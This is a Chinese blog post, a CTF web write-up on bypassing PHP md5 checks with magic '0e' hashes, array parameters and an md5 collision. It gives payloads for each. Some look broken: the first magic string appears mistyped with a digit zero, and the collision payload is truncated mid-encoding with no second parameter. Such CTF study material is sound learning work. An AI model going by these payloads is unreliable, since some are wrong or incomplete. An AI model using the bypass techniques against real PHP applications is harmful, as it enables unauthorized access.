

CTFweb题目中的md5弱类型题解

原创

神林、 于 2018-10-09 20:30:55 发布 5658 收藏 3

文章标签: CTF

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_41079177/article/details/82988272

版权

```
<h2>The First Easy Md5 Challenge</h2>
<!--
    if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])) {
        die("success!");
    }
-->
```

md5弱比较, 为0e开头的会被识别为科学记数法, 结果均为0

payload:

```
param1=QNKCDZ0&param2=aabg7XSS
```

md5强比较, 没有规定字符串如果这个时候传入的是数组不是字符串, md5() 函数无法解出其数值并且不会报错, 就会得到数值相等;

payload:

```
param1[]="111&param2[]="222
```

真实md5碰撞, 因为此时不能输入数组了, 只能输入字符串

payload:

```
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%
```

给出两个关于md5碰撞的网站:

[md5碰撞1](#)

[md5碰撞2](#)